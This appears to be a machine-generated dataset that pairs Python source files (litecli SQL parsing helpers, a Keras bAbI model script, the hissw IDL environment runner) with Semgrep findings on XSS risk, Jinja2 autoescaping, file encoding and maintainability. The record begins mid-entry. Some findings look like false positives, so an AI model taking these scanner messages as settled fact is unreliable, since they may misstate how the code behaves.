in a CSV File"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/raphaelm/defusedcsv", "https://owasp.org/www-community/attacks/CSV_Injection", "https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities"], "category": "security", "technology": ["python"], "confidence": "LOW", "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW"}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-79" ]
[ "rules.python.django.security.audit.xss.direct-use-of-httpresponse" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 8 ]
[ 8 ]
[ 16 ]
[ 49 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
snippet.py
/all-gists/1418860/snippet.py
gistable/gistable
MIT
2024-11-18T19:58:37.873244+00:00
1,692,974,582,000
0b2203da1ea073acb71c50c30ceecb1981ac6cd7
3
{ "blob_id": "0b2203da1ea073acb71c50c30ceecb1981ac6cd7", "branch_name": "refs/heads/main", "committer_date": 1692974582000, "content_id": "f5fdc1d95d7637aa1546a8bba783f9890941d3f1", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "fd47751e91f8bd43d6223033ce947ff720038f87", "extension": "py", "filename": "parseutils.py", "fork_events_count": 75, "gha_created_at": 1526220709000, "gha_event_created_at": 1692974583000, "gha_language": "Python", "gha_license_id": "BSD-3-Clause", "github_id": 133243075, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7940, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/litecli/packages/parseutils.py", "provenance": "stack-edu-0054.json.gz:569763", "repo_name": "dbcli/litecli", "revision_date": 1692974582000, "revision_id": "5975d2010278fda42aa224be5770113fc15ee28f", "snapshot_id": "bde48b747c4bfbbfcf203c37420c0438524b7d73", "src_encoding": "UTF-8", "star_events_count": 1908, "url": "https://raw.githubusercontent.com/dbcli/litecli/5975d2010278fda42aa224be5770113fc15ee28f/litecli/packages/parseutils.py", "visit_date": "2023-09-01T11:53:11.932344" }
3
stackv2
from __future__ import print_function import re import sqlparse from sqlparse.sql import IdentifierList, Identifier, Function from sqlparse.tokens import Keyword, DML, Punctuation cleanup_regex = { # This matches only alphanumerics and underscores. "alphanum_underscore": re.compile(r"(\w+)$"), # This matches everything except spaces, parens, colon, and comma "many_punctuations": re.compile(r"([^():,\s]+)$"), # This matches everything except spaces, parens, colon, comma, and period "most_punctuations": re.compile(r"([^\.():,\s]+)$"), # This matches everything except a space. "all_punctuations": re.compile("([^\s]+)$"), } def last_word(text, include="alphanum_underscore"): """ Find the last word in a sentence. >>> last_word('abc') 'abc' >>> last_word(' abc') 'abc' >>> last_word('') '' >>> last_word(' ') '' >>> last_word('abc ') '' >>> last_word('abc def') 'def' >>> last_word('abc def ') '' >>> last_word('abc def;') '' >>> last_word('bac $def') 'def' >>> last_word('bac $def', include='most_punctuations') '$def' >>> last_word('bac \def', include='most_punctuations') '\\\\def' >>> last_word('bac \def;', include='most_punctuations') '\\\\def;' >>> last_word('bac::def', include='most_punctuations') 'def' """ if not text: # Empty string return "" if text[-1].isspace(): return "" else: regex = cleanup_regex[include] matches = regex.search(text) if matches: return matches.group(0) else: return "" # This code is borrowed from sqlparse example script. # <url> def is_subselect(parsed): if not parsed.is_group: return False for item in parsed.tokens: if item.ttype is DML and item.value.upper() in ( "SELECT", "INSERT", "UPDATE", "CREATE", "DELETE", ): return True return False def extract_from_part(parsed, stop_at_punctuation=True): tbl_prefix_seen = False for item in parsed.tokens: if tbl_prefix_seen: if is_subselect(item): for x in extract_from_part(item, stop_at_punctuation): yield x elif stop_at_punctuation and item.ttype is Punctuation: return # An incomplete nested select won't be recognized correctly as a # sub-select. eg: 'SELECT * FROM (SELECT id FROM user'. This causes # the second FROM to trigger this elif condition resulting in a # `return`. So we need to ignore the keyword if the keyword # FROM. # Also 'SELECT * FROM abc JOIN def' will trigger this elif # condition. So we need to ignore the keyword JOIN and its variants # INNER JOIN, FULL OUTER JOIN, etc. elif ( item.ttype is Keyword and (not item.value.upper() == "FROM") and (not item.value.upper().endswith("JOIN")) ): return else: yield item elif ( item.ttype is Keyword or item.ttype is Keyword.DML ) and item.value.upper() in ("COPY", "FROM", "INTO", "UPDATE", "TABLE", "JOIN"): tbl_prefix_seen = True # 'SELECT a, FROM abc' will detect FROM as part of the column list. # So this check here is necessary. elif isinstance(item, IdentifierList): for identifier in item.get_identifiers(): if identifier.ttype is Keyword and identifier.value.upper() == "FROM": tbl_prefix_seen = True break def extract_table_identifiers(token_stream): """yields tuples of (schema_name, table_name, table_alias)""" for item in token_stream: if isinstance(item, IdentifierList): for identifier in item.get_identifiers(): # Sometimes Keywords (such as FROM ) are classified as # identifiers which don't have the get_real_name() method. try: schema_name = identifier.get_parent_name() real_name = identifier.get_real_name() except AttributeError: continue if real_name: yield (schema_name, real_name, identifier.get_alias()) elif isinstance(item, Identifier): real_name = item.get_real_name() schema_name = item.get_parent_name() if real_name: yield (schema_name, real_name, item.get_alias()) else: name = item.get_name() yield (None, name, item.get_alias() or name) elif isinstance(item, Function): yield (None, item.get_name(), item.get_name()) # extract_tables is inspired from examples in the sqlparse lib. def extract_tables(sql): """Extract the table names from an SQL statement. Returns a list of (schema, table, alias) tuples """ parsed = sqlparse.parse(sql) if not parsed: return [] # INSERT statements must stop looking for tables at the sign of first # Punctuation. eg: INSERT INTO abc (col1, col2) VALUES (1, 2) # abc is the table name, but if we don't stop at the first lparen, then # we'll identify abc, col1 and col2 as table names. insert_stmt = parsed[0].token_first().value.lower() == "insert" stream = extract_from_part(parsed[0], stop_at_punctuation=insert_stmt) return list(extract_table_identifiers(stream)) def find_prev_keyword(sql): """Find the last sql keyword in an SQL statement Returns the value of the last keyword, and the text of the query with everything after the last keyword stripped """ if not sql.strip(): return None, "" parsed = sqlparse.parse(sql)[0] flattened = list(parsed.flatten()) logical_operators = ("AND", "OR", "NOT", "BETWEEN") for t in reversed(flattened): if t.value == "(" or ( t.is_keyword and (t.value.upper() not in logical_operators) ): # Find the location of token t in the original parsed statement # We can't use parsed.token_index(t) because t may be a child token # inside a TokenList, in which case token_index thows an error # Minimal example: # p = sqlparse.parse('select * from foo where bar') # t = list(p.flatten())[-3] # The "Where" token # p.token_index(t) # Throws ValueError: not in list idx = flattened.index(t) # Combine the string values of all tokens in the original list # up to and including the target keyword token t, to produce a # query string with everything after the keyword token removed text = "".join(tok.value for tok in flattened[: idx + 1]) return t, text return None, "" def query_starts_with(query, prefixes): """Check if the query starts with any item from *prefixes*.""" prefixes = [prefix.lower() for prefix in prefixes] formatted_sql = sqlparse.format(query.lower(), strip_comments=True) return bool(formatted_sql) and formatted_sql.split()[0] in prefixes def queries_start_with(queries, prefixes): """Check if any queries start with any item from *prefixes*.""" for query in sqlparse.split(queries): if query and query_starts_with(query, prefixes) is True: return True return False def is_destructive(queries): """Returns if any of the queries in *queries* is destructive.""" keywords = ("drop", "shutdown", "delete", "truncate", "alter") return queries_start_with(queries, keywords) if __name__ == "__main__": sql = "select * from (select t. from tabl t" print(extract_tables(sql))
227
33.98
88
19
1,781
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_ec393ac93ddb3027_b888685e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_group\" a function or an attribute? If it is a function, you may have meant parsed.is_group() because parsed.is_group is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 12, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/ec393ac93ddb3027.py", "start": {"line": 68, "col": 12, "offset": 1750}, "end": {"line": 68, "col": 27, "offset": 1765}, "extra": {"message": "Is \"is_group\" a function or an attribute? If it is a function, you may have meant parsed.is_group() because parsed.is_group is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_ec393ac93ddb3027_20f2f4eb", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_keyword\" a function or an attribute? If it is a function, you may have meant t.is_keyword() because t.is_keyword is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 184, "line_end": 184, "column_start": 13, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/ec393ac93ddb3027.py", "start": {"line": 184, "col": 13, "offset": 6136}, "end": {"line": 184, "col": 25, "offset": 6148}, "extra": {"message": "Is \"is_keyword\" a function or an attribute? If it is a function, you may have meant t.is_keyword() because t.is_keyword is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 68, 184 ]
[ 68, 184 ]
[ 12, 13 ]
[ 27, 25 ]
[ "", "" ]
[ "Is \"is_group\" a function or an attribute? If it is a function, you may have meant parsed.is_group() because parsed.is_group is always true.", "Is \"is_keyword\" a function or an attribute? If it is a function, you may have meant t.is_keyword() because t.is_keyword is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
parseutils.py
/litecli/packages/parseutils.py
dbcli/litecli
BSD-3-Clause
2024-11-18T19:58:38.383166+00:00
1,517,634,153,000
70bc2d296c8500299864e087974be309bfea8fd8
2
{ "blob_id": "70bc2d296c8500299864e087974be309bfea8fd8", "branch_name": "refs/heads/master", "committer_date": 1517634153000, "content_id": "80ba521ff7c43117fe1fe81015dc9b15fc7f4fcf", "detected_licenses": [ "MIT" ], "directory_id": "0fb856e275a760a7daf06b9ec7419306fbae3870", "extension": "py", "filename": "babi_allAtOnce.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 115366238, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4315, "license": "MIT", "license_type": "permissive", "path": "/babi/babi_allAtOnce.py", "provenance": "stack-edu-0054.json.gz:569770", "repo_name": "cguptac/blog", "revision_date": 1517634153000, "revision_id": "c03f605ed1c7e750963ad49dfcb43f0d3cd3f6c0", "snapshot_id": "c9e8c61ea49c05aa7aba68db1e1cc9eadcb16426", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/cguptac/blog/c03f605ed1c7e750963ad49dfcb43f0d3cd3f6c0/babi/babi_allAtOnce.py", "visit_date": "2021-09-06T06:24:21.515819" }
2.4375
stackv2
import tarfile import babi_parse import numpy as np import subprocess from keras.utils.data_utils import get_file from keras.layers.embeddings import Embedding from keras import layers from keras.layers import recurrent from keras.models import Model from keras.preprocessing.sequence import pad_sequences def vectorize_stories(data, word_idx, story_maxlen, query_maxlen): xs = [] xqs = [] ys = [] for story, query, answer in data: x = [word_idx[w] for w in story] xq = [word_idx[w] for w in query] # let's not forget that index 0 is reserved y = np.zeros(len(word_idx) + 1) y[word_idx[answer]] = 1 xs.append(x) xqs.append(xq) ys.append(y) return pad_sequences(xs, maxlen=story_maxlen), pad_sequences(xqs, maxlen=query_maxlen), np.array(ys) def printshape(layer, should_print=True): if should_print: print(layer.shape) subprocess.check_output('cd tasks; ./make_tasks.sh 1 20', shell=True) params = {'flatten_sentences': True, 'only_supporting': False} with tarfile.open('./tasks/tasks.tar') as tar: train = babi_parse.extract_with_token(tar, 'train', flatten_tasks=True, **params) test_nested, task_names = babi_parse.extract_with_token(tar, 'test', flatten_tasks=False, **params) # so that we can evaluate performance on each category test_flattened = babi_parse.extract_with_token(tar, 'test', flatten_tasks=True, **params) vocab = set() for story, q, answer in train + test_flattened: vocab |= set(story + q + [answer]) # union operation |= vocab = sorted(vocab) len(vocab) # pretty small vocab vocab_size = len(vocab) + 1 word_idx = dict((c, i + 1) for i, c in enumerate(vocab)) story_maxlen = max(map(len, (x for x, _, _ in train + test_flattened))) query_maxlen = max(map(len, (x for _, x, _ in train + test_flattened))) x, xq, y = vectorize_stories(train, word_idx, story_maxlen, query_maxlen) tx, txq, ty = vectorize_stories(test_flattened, word_idx, story_maxlen, query_maxlen) ttx = []; ttxq = []; tty = []; for taskid, task in enumerate(test_nested): a,b,c = vectorize_stories(task, word_idx, story_maxlen, query_maxlen) ttx.append(a); ttxq.append(b); tty.append(c) RNN = recurrent.LSTM EMBED_HIDDEN_SIZE = 50 SENT_HIDDEN_SIZE = 100 QUERY_HIDDEN_SIZE = 100 BATCH_SIZE = 32 EPOCHS = 20 DIAGNOSTIC_PRINT=True print('RNN / Embed / Sent / Query = {}, {}, {}, {}'.format(RNN, EMBED_HIDDEN_SIZE, SENT_HIDDEN_SIZE, QUERY_HIDDEN_SIZE)) showshape = lambda x: printshape(x, should_print=DIAGNOSTIC_PRINT) sentence = layers.Input(shape=(story_maxlen,), dtype='int32') showshape(sentence) encoded_sentence = layers.Embedding(vocab_size, EMBED_HIDDEN_SIZE)(sentence) showshape(encoded_sentence) encoded_sentence = layers.Dropout(0.3)(encoded_sentence) showshape(encoded_sentence) question = layers.Input(shape=(query_maxlen,), dtype='int32') showshape(question) encoded_question = layers.Embedding(vocab_size, EMBED_HIDDEN_SIZE)(question) showshape(encoded_question) encoded_question = layers.Dropout(0.3)(encoded_question) showshape(encoded_question) encoded_question = RNN(EMBED_HIDDEN_SIZE)(encoded_question) showshape(encoded_question) encoded_question = layers.RepeatVector(story_maxlen)(encoded_question) showshape(encoded_question) merged = layers.add([encoded_sentence, encoded_question]) showshape(merged) merged = RNN(EMBED_HIDDEN_SIZE)(merged) showshape(merged) merged = layers.Dropout(0.3)(merged) showshape(merged) preds = layers.Dense(vocab_size, activation='softmax')(merged) showshape(preds) model = Model([sentence, question], preds) model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy']) print('Training') model.fit([x, xq], y, batch_size=BATCH_SIZE, epochs=EPOCHS, validation_split=0.05, shuffle=True) loss, acc = model.evaluate([tx, txq], ty, batch_size=BATCH_SIZE) print('Test loss / test accuracy = {:.4f} / {:.4f}'.format(loss, acc)) for i in range(20): loss, acc = model.evaluate([ttx[i], ttxq[i]], tty[i]) print('Task:\t{}\tAccuracy:\t{}'.format(i+1, acc))
136
30.73
158
13
1,101
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_5f38fd5eae10fef6_5fb53564", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 80, "line_end": 80, "column_start": 23, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/5f38fd5eae10fef6.py", "start": {"line": 80, "col": 23, "offset": 2645}, "end": {"line": 80, "col": 67, "offset": 2689}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 80 ]
[ 80 ]
[ 23 ]
[ 67 ]
[ "" ]
[ "`return` only makes sense inside a function" ]
[ 5 ]
[ "" ]
[ "" ]
babi_allAtOnce.py
/babi/babi_allAtOnce.py
cguptac/blog
MIT
2024-11-18T19:34:37.555042+00:00
1,669,146,016,000
89ce2347f47b3d5fd85ba9774a91355bd6af1c7c
2
{ "blob_id": "89ce2347f47b3d5fd85ba9774a91355bd6af1c7c", "branch_name": "refs/heads/main", "committer_date": 1669146016000, "content_id": "4984acc3f8eff05966855f8307a380cf27c038ea", "detected_licenses": [ "MIT" ], "directory_id": "895a7638653a191d704d4740672a7f6211eb9d1d", "extension": "py", "filename": "environment.py", "fork_events_count": 4, "gha_created_at": 1485314392000, "gha_event_created_at": 1669146017000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 79979257, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8367, "license": "MIT", "license_type": "permissive", "path": "/hissw/environment.py", "provenance": "stack-edu-0054.json.gz:569815", "repo_name": "wtbarnes/hissw", "revision_date": 1669146016000, "revision_id": "328607198bd9923bdc6e92e7ebca9f37950c4e1f", "snapshot_id": "c1a2a4de3266967a45f927f764200503c872e934", "src_encoding": "UTF-8", "star_events_count": 14, "url": "https://raw.githubusercontent.com/wtbarnes/hissw/328607198bd9923bdc6e92e7ebca9f37950c4e1f/hissw/environment.py", "visit_date": "2022-12-15T23:48:39.177581" }
2.4375
stackv2
""" Build SSW scripts from Jinja 2 templates """ import os import datetime import pathlib import subprocess import tempfile import jinja2 from scipy.io import readsav from .filters import string_list_filter from .read_config import defaults from .util import SSWIDLError, IDLLicenseError from .filters import * class Environment(object): """ Environment for running SSW and IDL scripts Parameters ---------- ssw_packages : `list`, optional List of SSW packages to load, e.g. 'sdo/aia', 'chianti' ssw_paths : `list`, optional List of SSW paths to pass to `ssw_path` extra_paths : `list`, optional Additional paths to add to the IDL namespace. Note that these are appended to the front of the path such that they take precedence over the existing path. ssw_home : `str`, optional Root of SSW tree idl_home : `str`, optional Path to IDL executable filters : `dict`, optional Filters to use in scripts. This should be a dictionary where the key is the name of the filter and the value is the corresponding function. idl_only : `bool`, optional If True, do not do any setup associated with SSW. This is useful if your script has no SSW dependence. header_script : `str` or path-like, optional Script to run before script passed to ``run`` method. Can use any of the variables passed to ``run``. footer_script : `str` or path-like, optional Script to run after script passed to ``run`` method. Can use any of the variables passed to ``run``. """ def __init__(self, ssw_packages=None, ssw_paths=None, extra_paths=None, ssw_home=None, idl_home=None, filters=None, idl_only=False, header=None, footer=None): self.ssw_packages = ssw_packages if ssw_packages is not None else [] self.ssw_paths = ssw_paths if ssw_paths is not None else [] self.extra_paths = extra_paths if extra_paths is not None else [] self.env = jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates')) self.env.filters['to_unit'] = units_filter self.env.filters['log10'] = log10_filter self.env.filters['string_list'] = string_list_filter self.env.filters['force_double_precision'] = force_double_precision_filter if filters is not None: for k, v in filters.items(): self.env.filters[k] = v self.header = '' if header is None else header self.footer = '' if footer is None else footer self._setup_home(ssw_home, idl_home, idl_only=idl_only) def _setup_home(self, ssw_home, idl_home, idl_only=False): """ Setup SSW and IDL home locations """ self.ssw_home = defaults.get('ssw_home') if ssw_home is None else ssw_home if idl_only: self.ssw_home = None else: if self.ssw_home is None: raise ValueError('ssw_home must be set at instantiation or in the hisswrc file.') self.idl_home = defaults.get('idl_home') if idl_home is None else idl_home if self.idl_home is None: raise ValueError('idl_home must be set at instantiation or in the hisswrc file.') @property def executable(self): """ Path to executable for running code """ if self.ssw_home: return 'sswidl' else: return os.path.join(self.idl_home, 'bin', 'idl') def render_script(self, script, args): """ Render custom IDL scripts from templates and input arguments """ if isinstance(script, (str, pathlib.Path)) and os.path.isfile(script): with open(script, 'r') as f: script = f.read() if not isinstance(script, str): raise ValueError('Input script must either be a string or path to a script.') return self.env.from_string(script).render(**args) def custom_script(self, script, args): """ Generate the script that will be executed """ body = self.render_script(script, args) header = self.render_script(self.header, args) footer = self.render_script(self.footer, args) idl_script = f'{header}\n{body}\n{footer}' return idl_script def procedure_script(self, script, save_vars, save_filename): """ Render inner procedure file """ if save_vars is None: save_vars = [] params = {'_script': script, '_save_vars': save_vars, '_save_filename': save_filename} return self.env.get_template('procedure.pro').render(**params) def command_script(self, procedure_filename): """ Generate parent IDL script """ params = {'ssw_paths': self.ssw_paths, 'extra_paths': self.extra_paths, 'procedure_filename': procedure_filename} return self.env.get_template('parent.pro').render(**params) def shell_script(self, command_filename): """ Generate shell script for starting up SSWIDL """ params = {'executable': self.executable, 'ssw_home': self.ssw_home, 'ssw_packages': self.ssw_packages, 'idl_home': self.idl_home, 'command_filename': command_filename} return self.env.get_template('startup.sh').render(**params) def run(self, script, args=None, save_vars=None, verbose=True, **kwargs): """ Set up the SSWIDL environment and run the supplied scripts. Parameters ---------- script : str Literal script or path to script file args : dict, optional Input arguments to script save_vars : list, optional Variables to save and return from the IDL namespace verbose : bool, optional If True, print STDERR and SDOUT. Otherwise it will be suppressed. This is useful for debugging. """ args = {} if args is None else args # Expose the ssw_home variable in all scripts by default args.update({'ssw_home': self.ssw_home}) with tempfile.TemporaryDirectory() as tmpdir: # Get filenames fn_template = os.path.join( tmpdir, '{name}_'+datetime.datetime.now().strftime('%Y%m%d-%H%M%S')+'.{ext}') save_filename = fn_template.format(name='idl_vars', ext='sav') procedure_filename = fn_template.format(name='idl_procedure', ext='pro') command_filename = fn_template.format(name='idl_script', ext='pro') shell_filename = fn_template.format(name='ssw_shell', ext='sh') # Render and save scripts idl_script = self.custom_script(script, args) with open(procedure_filename, 'w') as f: f.write(self.procedure_script(idl_script, save_vars, save_filename)) with open(command_filename, 'w') as f: f.write(self.command_script(procedure_filename)) with open(shell_filename, 'w') as f: f.write(self.shell_script(command_filename,)) # Execute subprocess.call(['chmod', 'u+x', shell_filename]) cmd_output = subprocess.run([shell_filename], shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) self._check_for_errors(cmd_output, verbose, **kwargs) results = readsav(save_filename) return results def _check_for_errors(self, output, verbose, **kwargs): """ Check IDL output to try and decide if an error has occurred """ stdout = output.stdout.decode('utf-8') stderr = output.stderr.decode('utf-8') # NOTE: For some reason, not only errors are output to stderr so we # have to check it for certain keywords to see if an error occurred if kwargs.get('raise_exceptions', True): if 'execution halted' in stderr.lower(): raise SSWIDLError(stderr) if 'failed to acquire license' in stderr.lower(): raise IDLLicenseError(stderr) if verbose: print(f'{stderr}\n{stdout}')
204
40.01
97
19
1,833
python
[{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_ca0fddc699b84e91_af872f12", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 20, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 58, "col": 20, "offset": 2065}, "end": {"line": 58, "col": 89, "offset": 2134}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_ca0fddc699b84e91_1ac753f4", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'), autoescape=True)", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 20, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 58, "col": 20, "offset": 2065}, "end": {"line": 58, "col": 89, "offset": 2134}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=jinja2.PackageLoader('hissw', 'templates'), autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_6f735b75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 18, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 99, "col": 18, "offset": 3764}, "end": {"line": 99, "col": 35, "offset": 3781}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ca0fddc699b84e91_c141e9b3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 175, "line_end": 175, "column_start": 18, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": 